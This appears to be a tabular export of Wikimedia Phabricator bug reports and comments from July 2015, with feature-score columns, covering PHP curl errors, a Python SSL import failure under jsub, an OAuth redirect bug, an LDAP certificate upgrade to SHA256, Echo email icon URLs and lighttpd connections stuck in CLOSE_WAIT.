What is `PHP_VERSION` on production?",,,1437593436,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3,0.85,"So what is wrong with this check in the code: CODE?

What is CODE on production?"
495095,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"> curl_strerror was added in php 5.5, and it appears to be supported in hhvm as well, so I'm really not sure why this is an undefined function.

Because Wikimedia doesn't run php5.5/hhvm everywhere and still has a load of zend php5.3 machines?",,,1437592837,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"QUOTE

Because Wikimedia doesn't run php5.5/hhvm everywhere and still has a load of zend php5.3 machines?"
105403,can't import _SSL in /usr/lib/python2.7/ssl.py,"Trying to run a script on cron for the HostBot project. Script works as expected when manually run from the command line, fails on JSUB. This is using a virtualenv with the dev version of mwclient, since the version on labs is an older one without support for setting a user-agent.

Looks like it's using an instance of Python that can't import `_ssl`. Is this expected behavior? Can that Python be updated? Any help appreciated :)

cron job:

```
*/5 * * * * jsub -N matchbotenwiki /data/project/hostbot/matchbot/bin/python /data/project/hostbot/bot/matchbot/matchbot/matchbot.py /data/project/hostbot/bot/matchbot/matchbot/
```

Stack trace:

```
Traceback (most recent call last):
  File ""/data/project/hostbot/bot/matchbot/matchbot/matchbot.py"", line 34, in <module>
    import mwclient
  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/mwclient/__init__.py"", line 27, in <module>
    from client import Site, __ver__
  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/mwclient/client.py"", line 22, in <module>
    import requests
  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/__init__.py"", line 58, in <module>
    from . import utils
  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/utils.py"", line 26, in <module>
    from .compat import parse_http_list as _parse_list_header
  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/compat.py"", line 7, in <module>
    from .packages import chardet
  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/packages/__init__.py"", line 3, in <module>
    from . import urllib3
  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/packages/urllib3/__init__.py"", line 10, in <module>
    from .connectionpool import (
  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/packages/urllib3/connectionpool.py"", line 31, in <module>
    from .connection import (
  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/packages/urllib3/connection.py"", line 45, in <module>
    from .util.ssl_ import (
  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/packages/urllib3/util/__init__.py"", line 5, in <module>
    from .ssl_ import (
  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/packages/urllib3/util/ssl_.py"", line 12, in <module>
    import ssl
  File ""/usr/lib/python2.7/ssl.py"", line 60, in <module>
    import _ssl             # if we can't import it, let the error propagate
ImportError: No module named _ssl
```",High,80.0,1436477749,1436479534.0,PHID-USER-i6la3rbocleoqjqldvzu,False,PHID-USER-i6la3rbocleoqjqldvzu,False,PHID-TASK-kcqa6up27sfqrdwqqfed,task_description,resolved,True,c3,3,True,True,True,1,True,1.0,0.0,0.0,1.0,1.0,3.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,9.0,4.0,13.0,3.0,0.0,12.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,15.0,7.0,2.0,0.0,0.0,1.0,0.0,2.0,5.0,0.0,4.0,1.0,0.0,0.0,3.888888888888889,0.7171717171717171,"Trying to run a script on cron for the HostBot project. Script works as expected when manually run from the command line, fails on JSUB. This is using a virtualenv with the dev version of mwclient, since the version on labs is an older one without support for setting a user-agent.

Looks like it's using an instance of Python that can't import CODE. Is this expected behavior? Can that Python be updated? Any help appreciated :)

cron job:

``CODE`CODE`CODE``"
489695,can't import _SSL in /usr/lib/python2.7/ssl.py,"Fixed by @yuvipanda and @fhocutt. Solution below. 

```
 jsub -N <name> -l release=trusty <command>
```",,,1436479522,,PHID-USER-i6la3rbocleoqjqldvzu,False,,,PHID-TASK-kcqa6up27sfqrdwqqfed,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.384615384615385,0.6923076923076923,"Fixed bySCREEN_NAME andSCREEN_NAME. Solution below. 

``CODE``"
105375,"Login fail with ""Curl error: "" due to 301 generated by OAuth provider","After authorizing on commons (with Extension:OAuth, as oauth provider), on the commonsarchive (with Extension:OAuthAuthentication, as oauth client):
```
Exception encountered, of type ""Exception""
[03fd090a] /wiki/Special:OAuthLogin/finish?oauth_verifier=****bc69825860215462c4f5ef74****&oauth_token=75551e721a597bd39098dd26159e768d Exception from line 220 of /srv/mediawiki/extensions/OAuthAuthentication/libs/mwoauth-php/MWOAuthClient.php: Curl error: 
Backtrace:
#0 /srv/mediawiki/extensions/OAuthAuthentication/libs/mwoauth-php/MWOAuthClient.php(188): MWOAuthClient->makeCurlCall(string, string, boolean, boolean, MWOAuthClientConfig)
#1 /srv/mediawiki/extensions/OAuthAuthentication/libs/mwoauth-php/MWOAuthClient.php(129): MWOAuthClient->makeOAuthCall(OAuthToken, string)
#2 /srv/mediawiki/extensions/OAuthAuthentication/handlers/OAuth1Handler.php(47): MWOAuthClient->identify(OAuthToken)
#3 /srv/mediawiki/extensions/OAuthAuthentication/specials/SpecialOAuthLogin.php(66): MediaWiki\Extensions\OAuthAuthentication\OAuth1Handler->identify(OAuthToken, MWOAuthClient)
#4 /srv/mediawiki/includes/specialpage/SpecialPage.php(384): MediaWiki\Extensions\OAuthAuthentication\SpecialOAuthLogin->execute(string)
#5 /srv/mediawiki/includes/specialpage/SpecialPageFactory.php(582): SpecialPage->run(string)
#6 /srv/mediawiki/includes/MediaWiki.php(267): SpecialPageFactory::executePath(Title, RequestContext)
#7 /srv/mediawiki/includes/MediaWiki.php(566): MediaWiki->performRequest()
#8 /srv/mediawiki/includes/MediaWiki.php(414): MediaWiki->main()
#9 /srv/mediawiki/index.php(41): MediaWiki->run()
#10 {main}
```
Further investigation shows the curl post to https://commons.wikimedia.org/w/index.php?title=Special:OAuth/identify encountered a 301 (as a result of 155d555b83eca640), and Extension:OAuthAuthentication is unable to handle it.",High,80.0,1436463389,1436538682.0,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-TASK-3tyjzpv7wophchvgpp3u,task_description,duplicate,True,c3,3,True,True,True,1,True,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,16.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,17.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,4.359375,0.640625,"After authorizing on commons (with Extension:OAuth, as oauth provider), on the commonsarchive (with Extension:OAuthAuthentication, as oauth client):
``CODE``
Further investigation shows the curl post to URL encountered a 301 (as a result of 155d555b83eca640), and Extension:OAuthAuthentication is unable to handle it."
105187,update ldap-mirror.wikimedia.org certificate to sha256,"This will be the tracking task to replace the SHA1 certificate for ldap-mirror.wikimedia.org to SHA256.

[ ] - reissue certificate in SHA256 & create patchset containing the new certificate
[ ] - merge into puppet and ensure ldap gets the updated information


FYI: I recall that previously, puppet alone didn't force LDAP to use the new certificate; further manual commands were required within ldap.",High,80.0,1436374484,1436453814.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-xwxce3kpvsv54t735g7q,False,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_description,resolved,True,c3,3,True,False,True,0,True,0.0,0.0,0.0,1.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,5.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,1.0,11.0,11.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,4.671232876712328,0.7671232876712328,"This will be the tracking task to replace the SHA1 certificate for ldap-mirror.wikimedia.org to SHA256.

[ ] - reissue certificate in SHA256 & create patchset containing the new certificate
[ ] - merge into puppet and ensure ldap gets the updated information


FYI: I recall that previously, puppet alone didn't force LDAP to use the new certificate; further manual commands were required within ldap."
489340,update ldap-mirror.wikimedia.org certificate to sha256,Done,,,1436453814,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Done
489324,update ldap-mirror.wikimedia.org certificate to sha256,"Change 223788 merged by Alexandros Kosiaris:
Sign ldap-mirror.wikimedia.org with SHA256

[[https://gerrit.wikimedia.org/r/223788]]",,,1436452672,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,5.277777777777778,0.8888888888888888,"Change 223788 merged by Alexandros Kosiaris:
Sign ldap-mirror.wikimedia.org with SHA256

[[GERRIT_URL]]"
489323,update ldap-mirror.wikimedia.org certificate to sha256,"Documentation in: https://wikitech.wikimedia.org/wiki/WMF_CA

Merging puppet change and restarting ldap servers to pick up the change",,,1436452643,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,4.764705882352941,0.9411764705882353,"Documentation in: URL

Merging puppet change and restarting ldap servers to pick up the change"
489317,update ldap-mirror.wikimedia.org certificate to sha256,"Change 223788 had a related patch set uploaded (by Alexandros Kosiaris):
Sign ldap-mirror.wikimedia.org with SHA256

[[https://gerrit.wikimedia.org/r/223788]]
",,,1436452208,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,24.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.76,0.88,"Change 223788 had a related patch set uploaded (by Alexandros Kosiaris):
Sign ldap-mirror.wikimedia.org with SHA256

[[GERRIT_URL]]
"
489273,update ldap-mirror.wikimedia.org certificate to sha256,"As @RobH points out

```
openssl x509 -in /home/alex/wikimedia/gerrit/puppet/production/files/ssl/ldap-mirror.wikimedia.org.crt -issuer
issuer= /C=US/ST=California/L=San Francisco/O=Wikimedia Foundation/OU=Operations/CN=WMF CA 2014-2017
```

This is indeed an internal certificate issued by WMF CA 2014-2017. I 'll issue a new certificate with a sha256 signature and document it in wikitech",,,1436448445,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,15.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,10.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0256410256410255,0.8461538461538461,"AsSCREEN_NAME points out

``CODE``

This is indeed an internal certificate issued by WMF CA 2014-2017. I 'll issue a new certificate with a sha256 signature and document it in wikitech"
488954,update ldap-mirror.wikimedia.org certificate to sha256,"ldap-mirror is plutonium which is I believe Alexandros's project.  I've never touched it.

So, I'm not unwilling to work on this, but it might be simpler for Alex.",,,1436390823,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,15.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,12.0,8.0,5.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,3.425,0.825,"ldap-mirror is plutonium which is I believe Alexandros's project.  I've never touched it.

So, I'm not unwilling to work on this, but it might be simpler for Alex."
488737,update ldap-mirror.wikimedia.org certificate to sha256,"From what I can see, there is no issuer within the certificate.  When you run ""openssl x509 -in <certfile.crt> -noout -text"" against a certificate file, it shows information, including the issuing agency.

When run against any of our rapidssl, digicert, globalsign, or symantec certificates, we get issuer information in the output.  I have no order information in my Symantec, Digicert, or Globalsign portals.  Attempting reissue with rapidssl results in certificate not found.

This makes me think this is a self signed certificate, which is why its lacking those particular fields.  As such, this isn't really something that requires me to reissue.  This requires someone who knows ldap, and knows about how self signed keys will affect this certificate use; to own this ticket.

I asked in IRC, and @coren backed up my initial suggestion that @andrew handled this the last time we had to change ldap certificates.  As such, I am going to assign him to this task.

@Andrew: If this isn't correct, or if you need a second set of eyes on things, just let me know.",,,1436375163,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_subcomment,,True,c3,3,True,,,0,True,0.3333333333333333,0.6666666666666666,0.0,0.0,1.0,5.0,1.0,0.0,0.0,1.0,2.6666666666666665,0.6666666666666666,0.0,0.0,0.3333333333333333,4.666666666666667,0.3333333333333333,3.3333333333333335,9.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,6.0,2.3333333333333335,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,2.6666666666666665,2.3333333333333335,6.666666666666667,2.3333333333333335,1.3333333333333333,7.666666666666667,0.0,0.0,0.0,0.0,4.0,0.0,0.3333333333333333,0.0,6.666666666666667,9.0,2.3333333333333335,0.0,0.6666666666666666,0.0,6.666666666666667,0.0,2.6666666666666665,1.0,1.6666666666666667,1.6666666666666667,0.6666666666666666,0.0,1.0,4.084413180303591,0.746945575712699,"From what I can see, there is no issuer within the certificate.  When you run ""openssl x509 -in <certfile.crt> -noout -text"" against a certificate file, it shows information, including the issuing agency.

When run against any of our rapidssl, digicert, globalsign, or symantec certificates, we get issuer information in the output.  I have no order information in my Symantec, Digicert, or Globalsign portals.  Attempting reissue with rapidssl results in certificate not found.

This makes me think this is a self signed certificate, which is why its lacking those particular fields.  As such, this isn't really something that requires me to reissue.  This requires someone who knows ldap, and knows about how self signed keys will affect this certificate use; to own this ticket.

I asked in IRC, andSCREEN_NAME backed up my initial suggestion thatSCREEN_NAME handled this the last time we had to change ldap certificates.  As such, I am going to assign him to this task.
SCREEN_NAME: If this isn't correct, or if you need a second set of eyes on things, just let me know."
104835,Echo email icons are hardcoded HTTP,"```
		// Use http for image path, there is no need for https
		return wfExpandUrl( $iconUrl, PROTO_HTTP );
```

Should use PROTO_CANONICAL instead.
",High,80.0,1436177182,1436206418.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-TASK-dxtwzdqftpqvlovzxzei,task_description,resolved,True,c3,3,True,True,True,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.5833333333333335,0.75,"``CODE``

Should use PROTO_CANONICAL instead.
"
487173,Echo email icons are hardcoded HTTP,"Change 223006 merged by jenkins-bot:
Use PROTO_CANONICAL for icon links in emails

[[https://gerrit.wikimedia.org/r/223006]]",,,1436199036,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtwzdqftpqvlovzxzei,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9545454545454546,0.9090909090909091,"Change 223006 merged by jenkins-bot:
Use PROTO_CANONICAL for icon links in emails

[[GERRIT_URL]]"
486974,Echo email icons are hardcoded HTTP,"Change 223006 had a related patch set uploaded (by Legoktm):
Use PROTO_CANONICAL for icon links in emails

[[https://gerrit.wikimedia.org/r/223006]]
",,,1436177378,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtwzdqftpqvlovzxzei,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.962962962962963,0.8888888888888888,"Change 223006 had a related patch set uploaded (by Legoktm):
Use PROTO_CANONICAL for icon links in emails

[[GERRIT_URL]]
"
104799,lighttpd does not correctly close connections (CLOSE_WAIT),"This happened for croptool on 5 jul 2015:

Last lines in error.log:
```
[2015-07-05 03:34:03] exiftool.INFO: Exiftool executes command /data/project/croptool/vendor/phpexiftool/exiftool/exiftool -overwrite_original -quiet -TagsFromFile '/data/project/croptool/public_html//files/c1ba468a60b8a2fdbe02cdd36721d9fedf2f8835.jpg' -all:all '/data/project/croptool/public_html//files/c1ba468a60b8a2fdbe02cdd36721d9fedf2f8835_cropped.jpg' [] []
2015-07-05 11:48:57: (server.c.1398) [note] sockets disabled, connection limit reached
```

Last lines in access.log:
```
10.68.17.145 tools.wmflabs.org - [05/Jul/2015:07:10:04 +0000] ""GET /croptool/backend.php?action=exists&site=commons.wikimedia.org&title=Florazolam%20(cropped).jpg HTTP/1.1"" 200 62 ""https://tools.wmflabs.org/croptool/?title=Florazolam.jpg"" ""Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.7.0""
10.68.17.145 tools.wmflabs.org - [05/Jul/2015:07:12:38 +0000] ""HEAD /croptool/ HTTP/1.1"" 200 0 ""-"" ""Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)""
10.68.17.145 tools.wmflabs.org - [05/Jul/2015:07:16:45 +0000] ""GET /croptool/ HTTP/1.1"" 200 21933 ""-"" ""Domain Re-Animator Bot (http://domainreanimator.com) - support@domainreanimator.com""
10.68.17.145 tools.wmflabs.org - [05/Jul/2015:07:17:38 +0000] ""HEAD /croptool/ HTTP/1.1"" 200 0 ""-"" ""Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)""
10.68.17.145 tools.wmflabs.org - [05/Jul/2015:07:22:38 +0000] ""HEAD /croptool/ HTTP/1.1"" 200 0 ""-"" ""Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)""
```

Note that the 'connection limit reached' message is way later than any requests in access.log.

There's a whole set of connections to the proxy open:
```
tcp        1      0 tools-webgrid-lighttpd-1210.tools.eqiad.wmflabs:56235 tools-webproxy-02.tools.eqiad.wmflabs:41828 CLOSE_WAIT  tools.croptool 17100020
tcp        1      0 tools-webgrid-lighttpd-1210.tools.eqiad.wmflabs:56235 tools-webproxy-02.tools.eqiad.wmflabs:56003 CLOSE_WAIT  tools.croptool 17135240
tcp        1      0 tools-webgrid-lighttpd-1210.tools.eqiad.wmflabs:56235 tools-webproxy-02.tools.eqiad.wmflabs:33872 CLOSE_WAIT  tools.croptool 17084311
tcp        1      0 tools-webgrid-lighttpd-1210.tools.eqiad.wmflabs:56235 tools-webproxy-02.tools.eqiad.wmflabs:54753 CLOSE_WAIT  tools.croptool 17150293
tcp        1      0 tools-webgrid-lighttpd-1210.tools.eqiad.wmflabs:56235 tools-webproxy-02.tools.eqiad.wmflabs:44893 CLOSE_WAIT  tools.croptool 17129109
```

So this suggests either someone keeping the connection open, or the webproxy misbehaving and doing that. 

```
$ sudo netstat -e -v -W 2>/dev/null | grep croptool | grep proxy | cut -b146- > croptools-inodes
$ for i in `cat croptools-inodes`; do sudo find /proc/6703/fd -lname ""socket:\[$i\]"" -printf %A@; echo; done > croptools-timestamps
$ for i in `cat croptools-timestamps`; do date ""+%d/%b/%Y:%H:%M:%S"" --date=""@$i""; done > croptools-formatteddates
```

Strangely enough, most of the connections seem to be later than the last access.log entry, /and/ they seem to be batched:
```
$ cat croptools-formatteddates | sort | uniq -c
      1 04/Jul/2015:23:09:01
     15 05/Jul/2015:07:39:01
